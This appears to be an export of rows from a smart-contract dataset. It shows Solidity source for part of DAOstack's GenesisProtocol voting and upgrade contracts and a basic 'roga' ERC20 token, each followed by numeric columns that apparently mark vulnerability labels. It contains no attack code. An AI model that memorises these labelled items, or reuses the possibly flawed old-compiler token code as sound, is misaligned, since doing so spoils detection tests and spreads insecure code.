address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if (_score(_proposalId) > confidenceThreshold) {
if (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
proposal.state = ProposalState.Queued;
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract UpgradeScheme is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewUpgradeProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _newController,
string _descriptionHash
);
event ChangeUpgradeSchemeProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _newUpgradeScheme,
bytes32 _params,
string _descriptionHash
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct UpgradeProposal {
address upgradeContract;
bytes32 params;
uint256 proposalType;
}
mapping(address=>mapping(bytes32=>UpgradeProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
UpgradeProposal memory proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.proposalType != 0);
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
if (_param == 1) {
ControllerInterface controller = ControllerInterface(avatar.owner());
if (proposal.proposalType == 1) {
require(controller.upgradeController(proposal.upgradeContract, avatar));
}
if (proposal.proposalType == 2) {
bytes4 permissions = controller.getSchemePermissions(address(this), address(avatar));
require(
controller.registerScheme(proposal.upgradeContract, proposal.params, permissions, address(avatar))
);
if (proposal.upgradeContract != address(this)) {
require(controller.unregisterSelf(address(avatar)));
}
}
}
emit ProposalExecuted(address(avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteParams, _intVote);
parameters[paramsHash].voteParams = _voteParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteParams, _intVote)));
}
function proposeUpgrade(Avatar _avatar, address _newController, string memory _descriptionHash)
public
returns(bytes32)
{
Parameters memory params = parameters[getParametersFromController(_avatar)];
bytes32 proposalId = params.intVote.propose(2, params.voteParams, msg.sender, address(_avatar));
UpgradeProposal memory proposal = UpgradeProposal({
proposalType: 1,
upgradeContract: _newController,
params: bytes32(0)
});
organizationsProposals[address(_avatar)][proposalId] = proposal;
emit NewUpgradeProposal(
address(_avatar),
proposalId,
address(params.intVote),
_newController,
_descriptionHash
);
proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
function proposeChangeUpgradingScheme(
Avatar _avatar,
address _scheme,
bytes32 _params,
string memory _descriptionHash
)
public
returns(bytes32)
{
Parameters memory params = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteParams, msg.sender, address(_avatar));
require(organizationsProposals[address(_avatar)][proposalId].proposalType == 0);
UpgradeProposal memory proposal = UpgradeProposal({
proposalType: 2,
upgradeContract: _scheme,
params: _params
});
organizationsProposals[address(_avatar)][proposalId] = proposal;
emit ChangeUpgradeSchemeProposal(
address(_avatar),
proposalId,
address(params.intVote),
_scheme,
_params,
_descriptionHash
);
proposalsInfo[address(intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
} | 0 | 861 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract roga {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function roga(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,609 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.